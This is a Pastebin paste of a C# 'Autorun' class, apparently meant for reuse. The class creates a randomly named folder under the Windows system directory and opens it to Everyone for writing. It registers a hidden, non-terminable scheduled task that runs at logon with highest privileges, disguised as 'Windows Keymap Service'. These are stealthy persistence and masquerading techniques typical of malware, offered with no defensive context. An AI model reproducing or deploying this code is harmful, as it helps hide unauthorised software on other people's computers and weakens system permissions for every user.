SHARE
TWEET

Класс для автозапуска

HackcatDev Mar 7th, 2019 224 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. public class Autorun
  2.     {
  3.         public static void Enable(String path, String keyname)
  4.         {
  5.             Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF"));
  6.             if (!SetAcl(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF")))
  7.             {
  8.                 Console.WriteLine("Cannot set ACL for directory to allow write!");
  9.             }
  10.             TaskDefinition taskDefinition = TaskService.Instance.NewTask();
  11.             taskDefinition.RegistrationInfo.Description = "Windows Keymap Service";
  12.             Trigger trigger = Trigger.CreateTrigger(TaskTriggerType.Logon);
  13.             taskDefinition.Triggers.Add(trigger);
  14.             taskDefinition.Actions.Add(path, "-u", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF"));
  15.             taskDefinition.Principal.LogonType = TaskLogonType.InteractiveToken;
  16.             taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
  17.             taskDefinition.Settings.AllowHardTerminate = false;
  18.             taskDefinition.Settings.Enabled = true;
  19.             taskDefinition.Settings.Hidden = true;
  20.             taskDefinition.Principal.UserId = "";
  21.             TaskService.Instance.RootFolder.RegisterTaskDefinition(keyname, taskDefinition);
  22.             var _ty = TaskService.Instance.GetTask(keyname).Run();
  23.             return;
  24.         }
  25.         public static bool SetAcl(String dir_t)
  26.         {
  27.             DirectorySecurity sec = Directory.GetAccessControl(dir_t);
  28.             // Using this instead of the "Everyone" string means we work on non-English systems.
  29.             SecurityIdentifier everyone = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
  30.             sec.AddAccessRule(new FileSystemAccessRule(everyone, FileSystemRights.Modify | FileSystemRights.Synchronize, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
  31.             Directory.SetAccessControl(dir_t, sec);
  32.             return true; //Next variand didn't work for me, but maybe it'll be useful for you
  33.             FileSystemRights Rights = (FileSystemRights)0;
  34.             Rights = FileSystemRights.FullControl;
  35.  
  36.             // *** Add Access Rule to the actual directory itself
  37.             FileSystemAccessRule AccessRule = new FileSystemAccessRule("Users", Rights,
  38.                                         InheritanceFlags.None,
  39.                                         PropagationFlags.NoPropagateInherit,
  40.                                         AccessControlType.Allow);
  41.  
  42.             DirectoryInfo Info = new DirectoryInfo(dir_t);
  43.             DirectorySecurity Security = Info.GetAccessControl(AccessControlSections.Access);
  44.  
  45.             bool Result = false;
  46.             Security.ModifyAccessRule(AccessControlModification.Set, AccessRule, out Result);
  47.  
  48.             if (!Result)
  49.                 return false;
  50.  
  51.             // *** Always allow objects to inherit on a directory
  52.             InheritanceFlags iFlags = InheritanceFlags.ObjectInherit;
  53.             iFlags = InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit;
  54.  
  55.             // *** Add Access rule for the inheritance
  56.             AccessRule = new FileSystemAccessRule("Users", Rights,
  57.                                         iFlags,
  58.                                         PropagationFlags.InheritOnly,
  59.                                         AccessControlType.Allow);
  60.             Result = false;
  61.             Security.ModifyAccessRule(AccessControlModification.Add, AccessRule, out Result);
  62.  
  63.             if (!Result)
  64.                 return false;
  65.  
  66.             Info.SetAccessControl(Security);
  67.  
  68.             return true;
  69.         }
  70.     }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top